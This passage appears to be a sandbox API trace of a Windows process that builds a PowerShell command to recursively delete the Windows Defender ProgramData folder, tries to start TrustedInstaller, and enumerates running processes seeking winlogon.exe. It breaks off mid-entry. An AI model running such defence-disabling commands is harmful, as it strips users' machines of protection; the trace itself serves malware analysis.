(_String1="/RunAsPassword", _String2="/Run") returned 97 [0244.811] wcslen (_String="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 0x39 [0244.811] wcscpy (in: _Dest=0x18dcc8, _Source="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" | out: _Dest="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" [0244.812] _snwprintf (in: _Dest=0x179ab0, _Count=0x7fff, _Format="\"%s\" %s" | out: _Dest="\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse") returned 118 [0244.812] SetEnvironmentVariableW (lpName="__COMPAT_LAYER", lpValue=0x0) returned 1 [0244.812] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName="ServicesActive", dwDesiredAccess=0x35) returned 0x268168 [0244.814] OpenServiceW (hSCManager=0x268168, lpServiceName="TrustedInstaller", dwDesiredAccess=0x34) returned 0x268208 [0244.814] QueryServiceStatus (in: hService=0x268208, lpServiceStatus=0x179618 | out: lpServiceStatus=0x179618*(dwServiceType=0x10, dwCurrentState=0x2, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x7d0)) returned 1 [0244.815] StartServiceW (hService=0x268208, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 0 [0244.815] CloseServiceHandle (hSCObject=0x268208) returned 1 [0244.816] CloseServiceHandle (hSCObject=0x268168) returned 1 [0244.816] wcscpy (in: _Dest=0x17941c, _Source="C:\\Windows\\system32" | out: _Dest="C:\\Windows\\system32") returned="C:\\Windows\\system32" [0244.816] wcslen (_String="winlogon.exe") returned 0xc [0244.816] wcslen (_String="C:\\Windows\\system32") returned 0x13 [0244.816] wcscpy (in: _Dest=0x17920c, _Source="C:\\Windows\\system32" | out: _Dest="C:\\Windows\\system32") returned="C:\\Windows\\system32" [0244.816] wcslen (_String="C:\\Windows\\system32") returned 0x13 [0244.816] wcscat (in: _Dest=0x17920c, _Source="\\" | out: _Dest="C:\\Windows\\system32\\") returned="C:\\Windows\\system32\\" [0244.816] wcscat (in: _Dest=0x17920c, _Source="winlogon.exe" | out: _Dest="C:\\Windows\\system32\\winlogon.exe") returned="C:\\Windows\\system32\\winlogon.exe" [0244.817] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xfc [0244.824] Process32FirstW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0244.825] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0244.825] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0244.826] GetVersionExW (in: lpVersionInformation=0x40fa78*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x40fa78*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0244.826] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x4) returned 0x100 [0244.826] wcscpy (in: _Dest=0x1782ec, _Source="C:\\Windows\\system32" | out: _Dest="C:\\Windows\\system32") returned="C:\\Windows\\system32" [0244.826] wcslen (_String="C:\\Windows\\system32") returned 0x13 [0244.826] wcscat (in: _Dest=0x1782ec, _Source="\\" | out: _Dest="C:\\Windows\\system32\\") returned="C:\\Windows\\system32\\" [0244.826] wcscat (in: _Dest=0x1782ec, _Source="psapi.dll" | out: _Dest="C:\\Windows\\system32\\psapi.dll") returned="C:\\Windows\\system32\\psapi.dll" [0244.826] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\psapi.dll") returned 0x75800000 [0244.828] GetProcAddress (hModule=0x75800000, lpProcName="GetModuleBaseNameW") returned 0x7580152c [0244.828] GetProcAddress (hModule=0x75800000, lpProcName="EnumProcessModules") returned 0x75801408 [0244.829] GetProcAddress (hModule=0x75800000, lpProcName="GetModuleFileNameExW") returned 0x758013f0 [0244.829] GetProcAddress (hModule=0x75800000, lpProcName="EnumProcesses") returned 0x75801544 [0244.829] GetProcAddress (hModule=0x75800000, lpProcName="GetModuleInformation") returned 0x75801420 [0244.829] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0244.829] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75d40000 [0244.829] GetProcAddress (hModule=0x75d40000, lpProcName="QueryFullProcessImageNameW") returned 0x75d615af [0244.829] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="", lpdwSize=0x179188) returned 0 [0244.829] wcslen (_String="\\systemroot") returned 0xb [0244.829] wcslen (_String="") returned 0x0 [0244.829] wcscpy (in: _Dest=0x178f58, _Source="" | out: _Dest="") returned="" [0244.829] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75d40000 [0244.830] GetProcAddress (hModule=0x75d40000, lpProcName="GetProcessTimes") returned 0x75d6d5df [0244.830] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0244.830] CloseHandle (hObject=0x100) returned 1 [0244.830] malloc (_Size=0x4680) returned 0x1c80048 [0244.830] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0244.957] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x108) returned 0x100 [0244.957] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.066] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\smss.exe", lpdwSize=0x179188) returned 1 [0245.067] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\smss.exe" | out: _Dest="C:\\Windows\\System32\\smss.exe") returned="C:\\Windows\\System32\\smss.exe" [0245.067] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.067] CloseHandle (hObject=0x100) returned 1 [0245.067] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0245.068] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14c) returned 0x100 [0245.068] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.068] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\csrss.exe", lpdwSize=0x179188) returned 1 [0245.068] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\csrss.exe" | out: _Dest="C:\\Windows\\System32\\csrss.exe") returned="C:\\Windows\\System32\\csrss.exe" [0245.068] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.068] CloseHandle (hObject=0x100) returned 1 [0245.068] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0245.069] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x170) returned 0x100 [0245.069] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.069] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\wininit.exe", lpdwSize=0x179188) returned 1 [0245.070] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\wininit.exe" | out: _Dest="C:\\Windows\\System32\\wininit.exe") returned="C:\\Windows\\System32\\wininit.exe" [0245.070] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.070] CloseHandle (hObject=0x100) returned 1 [0245.070] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x168, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0245.070] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x17c) returned 0x100 [0245.070] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.071] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\csrss.exe", lpdwSize=0x179188) returned 1 [0245.071] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\csrss.exe" | out: _Dest="C:\\Windows\\System32\\csrss.exe") returned="C:\\Windows\\System32\\csrss.exe" [0245.071] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.071] CloseHandle (hObject=0x100) returned 1 [0245.071] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x168, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0245.072] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1a4) returned 0x100 [0245.072] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.072] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\winlogon.exe", lpdwSize=0x179188) returned 1 [0245.072] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\winlogon.exe" | out: _Dest="C:\\Windows\\System32\\winlogon.exe") returned="C:\\Windows\\System32\\winlogon.exe" [0245.072] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.072] CloseHandle (hObject=0x100) returned 1 [0245.072] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0245.073] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d0) returned 0x100 [0245.073] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.073] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\services.exe", lpdwSize=0x179188) returned 1 [0245.073] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\services.exe" | out: _Dest="C:\\Windows\\System32\\services.exe") returned="C:\\Windows\\System32\\services.exe" [0245.073] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.073] CloseHandle (hObject=0x100) returned 1 [0245.074] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0245.074] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d8) returned 0x100 [0245.074] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.074] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\lsass.exe", lpdwSize=0x179188) returned 1 [0245.075] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\lsass.exe" | out: _Dest="C:\\Windows\\System32\\lsass.exe") returned="C:\\Windows\\System32\\lsass.exe" [0245.075] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.075] CloseHandle (hObject=0x100) returned 1 [0245.075] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0245.076] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1e0) returned 0x100 [0245.076] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.076] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\lsm.exe", lpdwSize=0x179188) returned 1 [0245.076] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\lsm.exe" | out: _Dest="C:\\Windows\\System32\\lsm.exe") returned="C:\\Windows\\System32\\lsm.exe" [0245.076] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.076] CloseHandle (hObject=0x100) returned 1 [0245.076] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.077] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x248) returned 0x100 [0245.077] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.077] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x179188) returned 1 [0245.077] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0245.077] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.078] CloseHandle (hObject=0x100) returned 1 [0245.078] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.078] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x288) returned 0x100 [0245.078] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.079] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x179188) returned 1 [0245.079] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0245.079] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.079] CloseHandle (hObject=0x100) returned 1 [0245.079] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.080] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2b8) returned 0x100 [0245.080] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.080] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x179188) returned 1 [0245.081] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0245.081] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.081] CloseHandle (hObject=0x100) returned 1 [0245.081] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.081] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x308) returned 0x100 [0245.081] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.082] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x179188) returned 1 [0245.082] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0245.082] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.082] CloseHandle (hObject=0x100) returned 1 [0245.082] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.083] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x334) returned 0x100 [0245.083] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.083] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x179188) returned 1 [0245.083] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0245.083] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.083] CloseHandle (hObject=0x100) returned 1 [0245.083] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.084] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3ec) returned 0x100 [0245.084] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.084] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x179188) returned 1 [0245.084] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0245.084] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.084] CloseHandle (hObject=0x100) returned 1 [0245.085] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.085] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x330) returned 0x100 [0245.085] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.086] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x179188) returned 1 [0245.086] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0245.086] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.086] CloseHandle (hObject=0x100) returned 1 [0245.086] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x308, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0245.086] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x438) returned 0x100 [0245.087] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.087] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\dwm.exe", lpdwSize=0x179188) returned 1 [0245.087] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\dwm.exe" | out: _Dest="C:\\Windows\\System32\\dwm.exe") returned="C:\\Windows\\System32\\dwm.exe" [0245.087] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.087] CloseHandle (hObject=0x100) returned 1 [0245.087] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x430, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0245.088] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x448) returned 0x100 [0245.088] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.088] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\explorer.exe", lpdwSize=0x179188) returned 1 [0245.088] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\explorer.exe" | out: _Dest="C:\\Windows\\explorer.exe") returned="C:\\Windows\\explorer.exe" [0245.089] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.089] CloseHandle (hObject=0x100) returned 1 [0245.089] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0245.089] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x48c) returned 0x100 [0245.089] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.090] 